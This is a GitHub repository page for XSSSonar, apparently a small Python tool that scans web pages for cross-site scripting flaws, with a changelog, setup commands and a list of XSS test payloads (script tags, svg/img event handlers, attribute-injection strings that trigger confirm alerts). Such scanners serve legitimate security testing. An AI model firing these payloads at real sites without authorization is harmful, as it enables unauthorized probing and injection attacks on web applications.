Skip to content

luigigubello/XSSSonar

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 
 
 

Repository files navigation

XSSSonar

Little tool to look for XSS vulnerabilities in a web page.

XSS Sonar Screenshot

Info

This code is just a draft. There are some errors still to be corrected, and sometimes false positives occur.
Test with Python 2.7.9 on Debian Jessie. I'll write it for Python 3.x maybe.

ChangeLog

0.1.6
[-] Fixed some bugs
[-] Added scan on list of POST parameters
[-] Added option to assign default value to a POST parameter
[-] Added help function

0.1.5a
[-] Fixed some bugs
[-] Less than 400 lines of code

0.1.5
[-] Added scan on POST parameters
[-] Changed name

0.1.4a
[-] Added stopwatch to know the time spent to check each URL
[-] Same features with 1500 lines of code missing

0.1.4
[-] Check a single URL or a list.txt of sites

List of XSS Payloads

'">"'><img src=x onerror=confirm`XSS`>
"> <script>alert`XSS`</script>
'">"'><svg onload=confirm`XSS`>
"',;</script><script>confirm`XSS`</script>
'><svg onload=confirm`XSS`>
"><svg/onload=confirm`XSS`//
"><details/open/ontoggle=confirm`XSS`>
" onfocus="confirm`XSS`" autofocus=""
" onclick="confirm`XSS`"
" onmouseover="confirm`XSS`"
\"-confirm`XSS`//
\'-confirm`XSS`//
"-confirm`XSS`-"'-confirm`XSS`-'

To start

pip install fake-useragent
python xsssonar.py

About

Little python tool to look for XSS vulnerabilities in a web page

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages